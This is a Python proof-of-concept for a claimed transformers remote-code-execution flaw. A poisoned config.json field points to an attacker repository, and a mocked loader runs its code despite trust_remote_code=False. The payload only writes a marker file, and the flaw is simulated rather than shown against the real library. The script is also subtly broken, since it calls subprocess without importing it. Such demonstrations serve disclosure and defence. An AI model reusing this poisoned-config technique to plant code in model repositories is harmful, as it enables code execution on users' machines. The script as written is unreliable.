Vulnerable code sample

import os
import json
import shutil
import sys
from unittest.mock import patch

# This is a self-contained proof-of-concept demonstrating the described vulnerability.
# It simulates the attacker's setup, the victim's action, and the vulnerable library logic.

# --- Attacker's Setup (Simulated on local filesystem) ---

# 1. The malicious "kernel" repository containing the code to be executed.
# In a real attack, this would be on the HuggingFace Hub.
os.makedirs("attacker/malicious_kernel", exist_ok=True)
payload_code = """
import os
print("[!!!] PAYLOAD EXECUTED [!!!]")
print("This code is running with the victim's user privileges.")
print("Creating file 'rce_successful.txt' to prove execution...")
with open("rce_successful.txt", "w") as f:
    f.write("CVE-2026-4372 exploit was successful.")
print("Payload finished.")
"""
with open("attacker/malicious_kernel/arbitrary_code.py", "w") as f:
    f.write(payload_code)

# 2. The main model repository with the poisoned config.json file.
# This is what the victim would try to download.
os.makedirs("malicious-model", exist_ok=True)
malicious_config = {
    "model_type": "gpt2",
    "architectures": ["GPT2LMHeadModel"],
    # The vulnerable field points to the attacker's repository.
    # The library will blindly trust this internal field.
    "_attn_implementation_internal": "attacker/malicious_kernel"
}
with open("malicious-model/config.json", "w") as f:
    json.dump(malicious_config, f)

# --- VULNERABLE LIBRARY LOGIC (Simulated via a mock) ---
# This class simulates the behavior of a vulnerable `transformers` version.

class VulnerableAutoModel:
    @classmethod
    def from_pretrained(cls, model_id, trust_remote_code=False, **kwargs):
        print(f"[*] Library: Loading model '{model_id}'...")
        print(f"[*] Library: User security setting is `trust_remote_code={trust_remote_code}`.")

        config_path = os.path.join(model_id, "config.json")
        with open(config_path, 'r') as f:
            config = json.load(f)

        # VULNERABILITY: The library checks for an internal, undocumented field
        # and acts upon it without proper sanitization or security checks.
        if "_attn_implementation_internal" in config:
            kernel_repo_id = config["_attn_implementation_internal"]
            print(f"[!] VULNERABILITY: Found `_attn_implementation_internal` field.")
            print(f"[!] VULNERABILITY: Bypassing `trust_remote_code` and loading from '{kernel_repo_id}'.")

            # The library now downloads and executes code from the attacker's repo.
            # This happens unsandboxed and is invisible to the user.
            # (Simulating download by using the local path).
            code_path = os.path.join(kernel_repo_id, "arbitrary_code.py")
            print(f"[*] Library: Executing code from '{code_path}'...")

            # In a real scenario, this might use `importlib` or `exec`.
            # We use `subprocess` to safely demonstrate arbitrary code execution.
            subprocess.run([sys.executable, code_path], check=True)

        print("[*] Library: Model loading would continue here.")
        # Return a dummy object to simulate a successful model load.
        return "SimulatedModelObject"

# --- Victim's Code ---
# The victim uses the standard API, believing `trust_remote_code=False` is a safeguard.

print("--- VICTIM'S ACTION ---")
print("Attempting to load a model from the Hub...")

try:
    # We use `patch` to replace the real `AutoModelForCausalLM` with our
    # vulnerable simulation for this demonstration.
    with patch('transformers.AutoModelForCausalLM', VulnerableAutoModel):
        from transformers import AutoModelForCausalLM

        model = AutoModelForCausalLM.from_pretrained(
            'malicious-model',          # The attacker's model
            trust_remote_code=False     # The victim's attempt to be secure, which is bypassed.
        )
    print("\n--- VICTIM'S PERSPECTIVE ---")
    if os.path.exists("rce_successful.txt"):
        print("[SUCCESS] The RCE was successful. The file 'rce_successful.txt' was created.")
    else:
        print("[FAILURE] The exploit did not seem to work.")

finally:
    # --- Cleanup ---
    print("\n--- Cleaning up created files and directories ---")
    shutil.rmtree("malicious-model", ignore_errors=True)
    shutil.rmtree("attacker", ignore_errors=True)
    if os.path.exists("rce_successful.txt"):
        os.remove("rce_successful.txt")
    print("Cleanup complete.")